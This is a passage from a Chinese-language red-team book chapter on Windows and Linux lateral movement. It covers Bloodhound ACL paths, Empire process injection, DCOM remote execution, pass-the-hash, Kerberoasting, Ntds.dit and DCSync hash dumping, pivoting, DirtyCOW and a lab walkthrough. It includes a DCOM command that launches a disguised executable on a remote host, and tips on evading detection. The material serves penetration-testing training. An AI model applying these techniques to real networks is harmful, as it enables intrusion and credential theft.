从更高的层面来看,@porterhau5增加了突破主机标记,可以让攻击者更方便地在整个环境中进行迁移。例如,在假设的场景中,我们开展网络钓鱼攻击,获取第一个用户neil.pawstrong的信息。使用Bloodhound应用程序中的Cypher语言和Raw Query功能,我们可以进行以下查询。

现在,我们可以向Bloodhound添加一些自定义查询。在Bloodhound的Queries选项卡中,滚动到底部,然后单击“Custom Queries”旁边的编辑按钮。然后,将所有文本替换为以下内容。

保存后,我们可以创建更多的查询。我们现在可以单击“Find Shortest Paths from owned node to Domain Admins”,如图4.30所示。

0430

图4.30

如果您想更仔细地研究这个问题,可查看@ porterhau5的Bloodhound版本,它更加清晰地标记突破的计算机,并允许更多的自定义功能。

到目前为止,在没有扫描的情况下,我们已经能够获得有关该组织的大量信息,这都是本地活动目录用户(域用户)的权限,并且在大多数情况下,网络流量看起来很正常。如您所见,我们能够在不是本地管理员或不拥有本地系统任何管理权限的情况下完成所有这些操作。

高级ACL/ACE Bloodhound

当使用Bloodhound的Collection Method Access Control List(ACL)类型时,脚本将查询活动目录,搜集用户/对象的所有访问控制权限。我们从访问控制入口(ACES)搜集的信息描述了用户、组和计算机的允许和拒绝权限。查找和利用ACE本身就可以写一本完整的图书,下面是一些很好的学习资料。

将ACL数据导入Bloodhound时,我们在寻找什么?Bloodhound识别ACE中可能存在弱点的区域,包括谁能够更改/重置密码、向组添加成员、为其他用户更新脚本路径、更新对象或在对象上写入新ACE等。

那么怎样利用这个功能?在突破设备并获得额外凭证时,我们可以查找路径,发现能够重置密码或修改ACE权限的用户。这将提出新的方法,查找域管理员或特权账户的路径,甚至是安装后门供后续行动使用。

当主机存在多个用户时,通常的做法是生成令牌或在不同用户间迁移。这并不是什么新鲜事,但是多数是在一个环境内横向迁移。通常通过Bloodhound输出内容或共享工作站,作为攻击者,我们需要能够冒充被攻击者系统上的其他用户。

我们有很多工具可以实现上述功能。以Metasploit为例,我们都应该非常熟悉后陷身方法,可以实现令牌窃取。在Empire中,我们可以使用steal_tokens,冒充该系统上的用户。我注意到有时令牌劫持可能破坏自己的Shell。为了避免这种情况,我们可以在其他用户拥有的进程中,注入新代理。

在图4.31中,对运行恶意软件的员工,我们实施了网络钓鱼攻击。这允许我们在该被攻击者用户(neil.pawstrong)拥有的进程中运行。一旦进入该用户的主机,我们就迁移到Buzz Clawdrin系统,并使用WMI(Windows Management Instrumentation)生成一个新的代理。这里的问题是因为使用缓存凭证在Buzz的主机上生成Shell,所以我们仍然处于被攻击者neil.pawstrong的进程中。因此,我们应该使用Empire的psinject功能,而不是窃取令牌。

0431

图4.31

Empire中的psinject具备的功能描述如下:“能够使用ReflectivePick将代理注入另一个进程,将.NET公共语言运行库加载到进程中,执行特定的PowerShell命令,所有这些都无须启动新的powershell.exe进程!”我们使用它来生成一个全新的代理,注入Buzz.Clawdrin进程中运行,这样我们就可以获得Buzz.Clawdrin的访问权限。

既然您已找到可能迁移的路径,有什么方式可以在这些系统实现代码的执行?基本的方法是使用当前活动目录用户的权限,获得对另一个系统的控制权。例如,一个经理具有访问其下属计算机的全部权限,在一个会议室/实验室的计算机上有多个用户具有管理员权限,内部系统配置错误,或者有人手动将用户添加到计算机本地管理员组,那么用户可以远程访问网络上其他工作站。在突破的计算机上,我们可以使用Bloodhound获取结果或者重新扫描网络,查找可以在本地访问的计算机。

Empire的find_localadmin_access模块向活动目录查询所有主机名,并尝试连接主机。这绝对是一个容易被检测的工具,因为它需要连接到每个主机并验证自己是否是本地管理员,如图4.32所示。

0432

图4.32

我们可以看到,find_localadmin_access模块输出结果,确认突破的用户可以访问buzz.cyberspacekittens.local机器。这应该与运行Bloodhound的结果是一致的。为了仔细检查我们是否具有访问权限,我通常会执行非交互式远程命令,如dir \[remote system]\C$,并且查看对C驱动器是否具有读/写权限,如图4.33所示。

0433

图4.33

在横向移动方面,有几种选项。让我们先来看看Empire等模块,因为它们是比较常见的(直接引用自Empire)。

这些只是简单并且常用的横向移动技术。在本书的后续部分,我们将讨论一些新的方法突破目标。在大多数网络中,Windows Management Instrumentation(WMI)通常是启用的,因为WMI是管理工作站所必需的功能。因此,我们可以使用invoke_wmi横向移动。由于使用缓存凭证,并且账户可以访问远程主机,因此我们无须知道用户的凭证。

在远程系统上执行,如图4.34所示。

0434

图4.34

如果已经进入主机,那么有许多方法可以在主机上横向移动。如果突破的账户具有访问权限,或者您可以使用捕获的凭证创建令牌,那么我们可以使用WMI、PowerShell Remoting 或者 PsExec 等方法生成各种 Shell。如果这些方法被监控该怎么办?Windows 自带一些很不错的功能,我们可以利用其中的分布式组件对象模型(DCOM)功能。DCOM是Windows自带的功能,用于远程主机组件之间的通信。

您可以使用 PowerShell 命令 Get-CimInstance Win32_DCOMApplication 列出计算机的所有 DCOM 应用程序,如图 4.35 所示。

0435

图4.35

根据@ enigma0x3的研究成果,他发现很多对象(如ShellBrowserWindow和ShellWindows)允许在被攻击者主机上远程执行代码。当列出所有的DCOM应用程序时,您将发现一个ShellBrowserWindow对象,其CLSID为C08AFD90-F2A1-11D1-8455- 00A0C91F3880。在发现这个对象后,只要账户允许访问,我们就可以利用这个功能在远程工作站上执行二进制文件。

这将在系统中执行本地可执行文件,并且不能在可执行文件中包含任何命令行参数(因此cmd/k样式的攻击不能执行)。当然,我们可以从远程系统调用文件并执行它们,但请注意,用户将弹出警告窗口。在这个例子中,我目前在被攻击者的主机neil.cyberspacekittens.local上,该主机具有buzz远程工作站的管理员访问权限。我们将在neil的工作站上共享一个文件夹,托管我们的恶意静荷。接下来,我们可以调用DCOM对象,在远程被攻击者(buzz)计算机上运行托管文件,如图4.36所示。

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880","buzz.cyberspacekittens.local"))).Navigate("\\neil.cyberspacekittens.local\Public\ adobeupdate.exe")

0436

图4.36

如图4.37所示,buzz的机器上会弹出一个窗口,提示运行adobeupdate.exe文件。虽然大多数用户会单击并运行这个程序,但是也有可能攻击行为被发现。

0437

图4.37

因此,避免被发现的方法是在DCOM执行文件之前,移动文件(类似于在被攻击者主机加载驱动器)。@ enigma0x3更进一步,使用Excel宏执行DCOM。首先,需要在自己的系统上创建恶意Excel文档,然后使用PowerShell脚本在被攻击主机上执行此XLS格式的文件。

需要注意的一点是,有许多其他DCOM对象可以从系统中获取信息、启动/停止服务等。这些资源肯定会为DCOM功能的其他研究提供很好的基础。

本地管理员账户散列传递(PTH),虽然这种老的攻击方式在大部分场景中已经不起作用了,但是这种攻击方式并未彻底绝迹,我们快速回顾一下。散列传递攻击是指系统鉴权不使用用户的凭证,而是Windows NTLM散列进行身份验证。为什么这种攻击方式很重要?因为,散列可以使用Mimikatz这样的工具轻松恢复,可以从本地账户提取(但需要本地管理员访问权限),可以通过转储域控制器恢复(不是明文密码)以及其他方式。

散列传递攻击基本的用途是攻击本地管理员,但目前很难再发挥作用,因为默认情况下,本地管理员账户已被禁用,并且新的安全功能已开始应用,例如本地管理员密码解决方案(LAPS),它为每个工作站创建随机密码。在过去,在一个工作站上获取本地管理员账户的散列值,在整个组织中都是相同和适用的,这意味着突破一个工作站,就突破了整个公司。

当然,散列传递攻击发挥作用要求您必须是系统的本地管理员,即本地管理员账户“管理员”已启用,并且它是RID 500账户(这意味着必须是原始管理员账户,而不是新创建的本地管理员账户)。

Command: shell net user administrator
User name          Administrator
Full Name
Comment           Built-in account for administering the computer/domain
User's comment
Country/region code 000 (System Default)
Account active      Yes
Account expires      Never

如果我们看到该账户处于活动状态,那么可以尝试从本地计算机中提取所有散列值。记住,这不包括任何域用户的散列。

例子如下。

输出如下。

我们可以使用Empire(credentials/mimikatz/pth)工具,或者启动可信工具PsExec,提交我们的散列值,然后执行我们的自定义静荷,如图4.38所示。

0438

图4.38

如同上文所述,这是旧的横向移动攻击方式,目前已经很难找到适合的攻击条件。如果您仍然可以看到使用本地管理员账户的情况,但环境中启用了 LAPS(本地管理员密码解决方案)方案,那么您可以使用几种不同的工具从活动目录中提取散列值。这是在假设您已经拥有特权域管理员或帮助台类型账户的情况下。

如果您发现获取的用户账户受限,无法从内存中获取密码,并且恰好没有在主机系统上获取密码,那么该怎么办?您接下来要做什么?好吧,我比较喜欢使用的一种攻击方法是Kerberoasting。

我们都知道,由于NTLM采用单向函数没有附带盐值,存在重放攻击和其他传统的问题,因此许多公司转而采用Kerberos。众所周知,Kerberos是一种用于验证计算机网络中服务请求的安全方法。我们不会深入研究Windows中Kerberos的实现方法。但是,您应该知道域控制器通常充当票证授予服务器;并且网络上的用户可以请求票证,从而获得资源的访问权限。

什么是Kerberoast攻击?作为攻击者,我们可以用之前提取的目标服务账户的任何SPN,请求Kerberos服务票证。该漏洞的存在有以下原因:当从域控制器请求服务票证时,该票证使用关联的服务用户的NTLM散列进行加密。由于任何用户都可以请求票证,因此这意味着如果可以猜中关联服务用户的NTLM散列(加密票证)的密码,那么我们就可以获得实际服务账户的密码。这听起来可能有点混乱,下面我们来看一个例子。

与之前的情况类似,我们可以列出所有 SPN 服务,提取这些服务账户所有的 Kerberos票证。

我们既可以针对单用户,又可以提取所有的Kerberos票证到用户内存中。

0439

图4.39

如果成功,那么我们已将一个或多个不同的Kerberos票证导入到被攻击者计算机的内存中。我们现在需要一种提取票证的方法。要做到这一点,我们可以使用非常好用的功能——Mimikatz Kerberos Export,如图4.40所示。

0440

图4.40

在我们导出票证后,票证驻留在被攻击者的机器上。在开始破解票证之前,我们必须从被攻击者的系统中下载票证。记住,票证是使用服务账户的NTLM散列加密的。因此,如果可以猜到NTLM散列,我们就可以读取票证,同时也知道服务账户的密码。比较简单的破解账户的方法是使用名为tgsrepcrack的工具(JTR和Hashcat也支持破解Kerberoast,我们将很快讨论这个问题)。

如图4.41所示,服务账户csk-github的密码是“P @ ssw0rd!”。

0441

图4.41

当然,Empire中有一个PowerShell模块可以为我们完成几乎所有烦琐的工作。它位于powershell/credentials/invoke_kerberoast下,如图4.42所示。您可以以John the Ripper或者Hashcat格式输出,从而可以使用这两个工具破解密码。我以前在大的网络环境中运行PowerShell脚本时,遇到了一些问题,因此只能重新使用PowerShell和Mimikatz获取所有的票证。

0442

图4.42

一旦我们获得域管理员的访问权限,从域控制器获取所有散列的旧方法就是,在域控制器上运行命令,使用Shadow Volume或Raw复制方法,获得Ntds.dit文件。

回顾Shadow Volume复制方法

由于我们可以访问文件系统,并且可以在域控制器上运行命令,因此作为攻击者,我们可以获取存储在Ntds.dit文件中的所有域散列值。但是,该文件不断被读/写,即使拥有系统权限,我们也没有读取或复制该文件的机会。“幸运”的是,我们可以利用Windows功能——Volume Shadow复制服务(VSS),该功能可以创建卷的快照副本。然后,我们可以从该副本中读取Ntds.dit文件并将其从机器中取出。这包括窃取Ntds.dit、System、SAM和Boot Key文件。最后,我们需要消除痕迹并删除卷副本。

1.NinjaCopy

NinjaCopy(http://bit.ly/2HpvKwj)是另一个获取散列值的工具,运行在域控制器,可以用来获取Ntds.dit文件。NinjaCopy通过读取原始卷,解析NTFS结构,并从NTFS分区卷复制文件。这会绕过文件DACL、读句柄锁和SACL检测。您必须是管理员才能运行脚本。这可用于读取系统被锁定的文件,例如NTDS.dit文件或注册表配置单元。

2.DCSync

到目前为止,我们已经回顾了两个从域控制器获取散列值的旧方法,这两个方法的前提条件是您可以在域控制器上运行系统命令,并且通常在该机器上存储文件,下面我们将尝试新的方法。最近,由Benjamin Delpy和Vincent Le Toux提出的DCSync方法被多次提及,这个方法改变了域控制器导出散列的思路。DCSync实现的思路是劫持域控制器,请求该域中用户的所有散列值。仔细思考一下就会发现,这意味着,只要您具有权限,就不需要在域控制器上运行任何命令,也不必在域控制器上放置任何文件。

DCSync方法有效的前提是,必须拥有从域控制器中提取散列值的适当权限。通常仅限于域管理员、组织管理员、域控制器组以及具有将Replicating Changes设置为Allow(例如Replicating Changes All/Replicating Directory Changes)权限的用户,DCSync方法将允许您的用户执行此攻击。此攻击最初是在Mimikatz中实施的,可以使用以下命令进行。

更棒的是,PowerShell Empire集成了DCSync工具,因此使用更加方便。

Empire代码:powershell/credentials/mimikatz/dcsync_hashdump。

通过查看DCSync导出的散列值,如图4.43所示,我们找到了活动目录中用户的所有NTLM散列值。另外,我们拥有krbtgt NTLM散列,这意味着我们现在(或在后续的行动中)可以实施Golden Ticket攻击。

0443

图4.43

在当今世界,计算机上运行着各种下一代杀毒软件,在计算机之间使用 WMI/PowerShell Remoting/PsExec 横向迁移并不总是最佳选择。我们还看到一些组织正在记录所有Windows命令操作。为了解决所有这些问题,我们有时需要使用基本功能,实现横向迁移。使用VPS服务器的问题在于它仅提供一个没有用户界面的Shell。因此,需要将路由/代理/转发流量从攻击者主机、虚拟专用服务器、突破的主机,横向转移到下一个突破的主机,如图4.44所示。“幸运”的是,我们可以使用原生工具来完成大部分工作。

我们需要设置虚拟专用服务器,启用端口接收互联网数据,使用 PTF 配置Metasploit,并使用Meterpreter控制初始突破主机。我们可以使用Cobalt Strike或其他框架来完成此操作,但在这个例子中我们将使用Meterpreter。

我们可以使用默认的SSH客户端-L选项,实现本地端口转发。我使用的是macOS操作系统,但这也可以在Windows或Linux操作系统中完成。我们使用SSH工具和密钥连接到虚拟专用主机。我们还将在攻击主机上配置本地端口,在本例中为3389(RDP),实现该端口的任何流量转发到虚拟专用服务器。当该端口的流量转发到虚拟专用服务器时,该流量发送到虚拟专用服务器上本地的端口3389。最后,我们需要设置一个端口,监听虚拟专用服务器3389端口,并使用Meterpreter的端口转发功能,将流量路由到被攻击者的主机。

0444

图4.44

(1)用Meterpreter静荷感染被攻击者。

(2)攻击者主机使用SSH工具,设置本地端口转发(在本地侦听端口3389),将所有流量发送到虚拟专用服务器的本地3389端口。

(3)在Meterpreter会话中,监听虚拟专用服务器的3389端口,转发流量从突破的主机横向迁移到下一个突破的主机。

(4)在攻击者主机上,打开微软的远程桌面客户端,将连接地址设置为localhost,即127.0.0.1并输入被攻击者的凭证,实现RDP连接,如图4.45所示。

0445

图4.45

多年来,在Linux中实现迁移并没有太大的改变。通常,如果您使用的是dnscat2或Meterpreter,那么它们都支持数据转发。

如果您很“幸运”地获得了 SSH Shell,那么可以通过多种方式在系统中进行迁移。我们如何获得SSH Shell?在许多情况下,一旦存在本地文件包含(LFI)或远程执行代码(RCE)漏洞,我们就可以尝试提升权限,读取/etc/shadow文件(密码破解),或者采用类似Mimikatz的攻击。

就像Windows和Mimikatz一样,Linux系统同样遇到了以明文形式存储密码的问题。@huntergregal编写的工具实现特定进程内容的转储,这些进程很可能以明文形式包含用户密码,如图4.46所示。到目前为止,虽然这个工具仅适用于有限数量的Linux系统,但是思路却适合所有的Linux系统。

0446

图4.46

一旦从突破的主机上获得凭证,并且可以通过SSH工具实现重新登录,我们就可以在设备间建立隧道并进行迁移。SSH中有一些很棒的功能,允许执行这种迁移。

Linux 权限提升的方法绝大部分类似于Windows。我们查找存在漏洞的服务,例如可以写入文件、错误配置粘滞位、文件中的明文密码、全局可写文件、定时任务,当然还有补丁问题。

为了有效和高效地分析Linux设备权限提升的问题,可以使用一些工具完成所有的工作。

在进行任何类型的权限提升漏洞挖掘之前,首先了解Linux主机和系统的所有信息,包括用户、服务、定时任务、软件版本、弱凭证、错误配置的文件权限,甚至是Docker信息。我们可以使用一个名为LinEnum的工具完成所有琐碎的工作,如图4.47所示。

0447

图4.47

这是一份非常详细的分析报告,涉及您想要了解的所有关于底层系统的信息,对于后面的行动非常有帮助。

在获得系统的信息后,我们会尝试利用这些漏洞。如果在服务和定时任务中找不到任何粘滞位漏洞或错误配置漏洞,那么我们会查找系统/应用程序的漏洞。我尝试发现漏洞,最终总是有可能突破的设备。

我们可以运行一个名为inux-exploit-suggester的工具,分析主机系统,识别未打的补丁和存在的漏洞。一旦发现漏洞,该工具还将提供PoC漏洞利用工具的链接,如图4.48所示。

0448

图4.48

现在,我们还要寻找什么漏洞?这时实践经验就真正发挥作用了。在我的“实验室”中,我配置大量不同的Linux版本,验证这些漏洞是否会导致底层系统崩溃。在这个场景中,我最愿意研究的漏洞之一是DirtyCOW。

DirtyCOW漏洞的描述:Linux内核的内存子系统在处理写入只读私有映射地址时,出现了资源竞争。非特权本地用户利用这个漏洞,获取对其他只读内存映射的写访问权,从而实现了权限提升。

简而言之,此漏洞允许攻击者通过内核漏洞,从非特权用户提升到root用户。这是我们想要实现的权限提升方式!但问题是,这种方式容易引起内核崩溃,因此必须确保在正确的Linux内核上使用正确的工具版本。

在Ubuntu中测试DirtyCOW(ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64)。

横向迁移的问题在于,如果没有搭建迁移的网络环境,则很难进行练习。因此,我们将为您介绍网络空间猫安全实验室。在这个实验室中,您可以在设备之间进行迁移,使用最新的漏洞进行权限提升攻击,所有操作均在Linux环境中完成。

搭建虚拟环境

虚拟环境实验室的设置稍微复杂一些,这是因为网络需要运行3个不同的静态虚拟机,并且需要进行一些提前的设置。所有这些都在VMWare Workstation和VMware Fusion环境中进行了测试,因此,如果您使用的是VirtualBox,则可能需要先进行测试。

下载3台虚拟机。

所有这 3 个虚拟机都配置为使用NAT网络接口。要使此实验室正常工作,您必须在VMWare中配置虚拟机的NAT设置,使用172.16.250.0/24网络。注意,需要在Windows VMWare Workstation中执行此操作。

在macOS操作系统中,设置更为复杂,您需要执行以下步骤。

现在,您以NAT模式启动THP Kali虚拟机,获得172.16.250.0/24范围内的动态IP地址。如果您愿意,则可以同时启动所有其他3个实验室设备,开启“黑客”征程。

您最终已经从Windows环境迁移到安全的生产网络。根据所有的调查和研究数据,您知道所有的秘密都存储在这里。这是受保护较多的网络之一,我们知道其安全基础设施已经进行了隔离。从他们的文档来看,有多个虚拟局域网需要突破,设备之间需要迁移,从而进入数据库。这就是您“训练”过的一切……

迁移到安全网络区域的外部,您看到这个网络配置为172.16.250.0/24。由于对这个网络知之甚少,因此首先要开始进行一些非常轻量级的Nmap扫描。您需要了解从网络外部可以访问这个网络的哪些系统,从而确定如何开始攻击。

扫描安全网络:

您注意到有3个设备正在运行,但只有一个设备开启了网站端口。看起来其他两个设备是与安全网络的外部网络隔离的,这意味着我们必须先突破172.16.250.10设备,才能迁移进入其他两个服务器。访问第一个设备(172.16.250.10),您会看到Apache Tomcat正在监听端口8080,而某些openCMS正在端口80上运行。运行网站模糊测试工具,您注意到openCMS页面也在运行Apache Struts2(/struts2-showcase),如图4.49所示。瞬间,Equifax漏洞的闪回就像砖块一样击中您。您或许认为这太走运了,但无论如何您必须进行尝试。您在msfconsole上运行快速搜索,测试漏洞“struts2_content_ type_ognl”。

0449

图4.49

我们知道CSK会严密监控其受保护的网络流量,其内部服务器可能无法直接访问公司的网络。为了解决这个问题,我们使用DNS 命令和控制静荷,协议采用UDP而不是TCP。当然,在真实情况下,我们可能会使用权威的DNS服务器,但是在实验室,我们选择自己的DNS服务器。

[THP Kali虚拟机]

THP Kali自定义虚拟机提供所有工具,实现此次攻击,如图4.50所示。

0450

图4.50

0451

图4.51

0452

图4.52

您已经突破了OpenCMS/Apache Struts服务器!现在怎么办?您花了一些时间了解服务器,查找各种“秘密”。您记得服务器正在运行OpenCMS网站应用程序,并确定该应用程序是在/opt/tomcat/webapps/kittens下配置的。在查看OpenCMS属性的配置文件时,我们找到了数据库、用户名、密码和IP地址172.16.250.10。

检索数据库信息,如图4.53所示。

0453

图4.53

我们连接到数据库,但并没有发现太多有用的信息。问题是我们目前是一个受限的Tomcat用户,这实际上阻碍了进一步的攻击。因此,我们需要找到提升权限的方法。在服务器上运行后漏洞侦察工具(uname -a && lsb_release -a),您发现这是一个非常古老的Ubuntu版本。但是,这个服务器存在DirtyCOW权限提升漏洞。我们创建一个DirtyCOW二进制文件并获取root权限!

通过dnscat进行权限提升,如图4.54所示。

0454

图4.54

注意:DirtyCOW漏洞用于权限提升并不是很稳定。如果漏洞利用存在一些问题,可查看我的GitHub页面,了解更稳定的创建setuid二进制文件的方法。

现在,由于主机系统没有打补丁,因此您已成为系统的root用户。当您再次登录设备,并查找秘密信息时,您会看到root的bash历史文件。在此文件中,您可以找到SSH命令和私有SSH密钥引用。我们可以使用此SSH密钥,登录到我们的第二个设备172.16.250.30,如图4.55所示。

0455

图4.55

您花了一些时间在第二个设备上,并尝试了解它的用途。在搜索时,您会注意到/home目录中有一个Jenkins用户,这会导致您识别在端口8080上运行Jenkins服务。我们如何使用浏览器查看Jenkins服务器上的内容?在这里,dnscat的端口转发功能发挥了作用。我们需要退出最初的Shell,切换到命令终端。从那里,我们需要设置一个监听器,以便通过dnscat将流量从攻击者主机经过8080端口转发到Jenkins设备(172.16.250.30)。

执行dnscat端口转发,如图4.56所示。

0456

图4.56

在Jenkins应用程序的凭证管理器内部,我们将看到db_backup用户密码已经存储,但是无法访问,如图 4.57 所示。我们需要找出一种方法,获取 Jenkins 的凭证,从而可以继续横向移动。

0457

图4.57

n00py在Jenkins凭证存储和提取方面做了一些研究。我们可以在此基础上,使用现有的Shell获取credentials.xml、master.key和hudson.util.Secret文件。

0458

图4.58

我们成功破解了db_backup用户的密码“)uDvra {4UL ^; r?* h”。如果我们回顾一下之前的提示,可以在OpenCMS属性文件中发现数据库服务器位于172.16.250.50。出于某种原因,这个Jenkins服务器看起来对数据库服务器执行了某种备份。让我们检查一下是否可以基于db_backup的凭证:}uDvra {4UL ^; r?* h,使用SSH工具登录数据库服务器。唯一的问题是通过dnscat shell,我们没有直接按标准输入(STDIN),实现SSH的密码交互输入。因此,我们需要再次使用端口转发,将我们的SSH Shell从THP Kali VM,通过dnscat代理转到数据库服务器(172.16.250.50)。

一旦使用db_backup账户进入数据库服务器(172.16.250.50),我们就会注意到此账户是超级管理员之一,并且可以利用sudo su命令进入root。一旦以root权限登录数据库服务器,我们四处寻找,但找不到任何访问数据库的凭证。我们可以重置root数据库密码,但最终可能会影响其他一些应用程序的使用。我们在/var/lib/mysql 下搜索到其他的数据库,并找到一个cyberspacekittens数据库。在这里,我们找到了secrets.ibd文件,它包括密码列表的所有数据,如图4.60所示。在阅读数据时,我们意识到它可能是加密的。

0459

图4.59

0460

图4.60

至此,您已成功入侵CSK公司网络。

不要停在这里,您可以用这些设备做很多事情,我们只介绍了很少的内容。您可以随意在这些系统上操作,查找更多的敏感文件,找出其他权限升级方式等。作为参考,本实验的环境拓扑如图4.61所示。

0461

图4.61

在本章中,我们实现了网络突破。最开始的时候,在网络上没有凭证,通过社会工程的方式进入第一个被攻击者设备中。从那里,我们开始获取有关网络/系统的信息,在设备中迁移、提升权限,并最终突破整个网络。为了完成这一切,我们尽可能地减少扫描次数,使用网络自身的功能,并尽量规避各种安全工具的检测。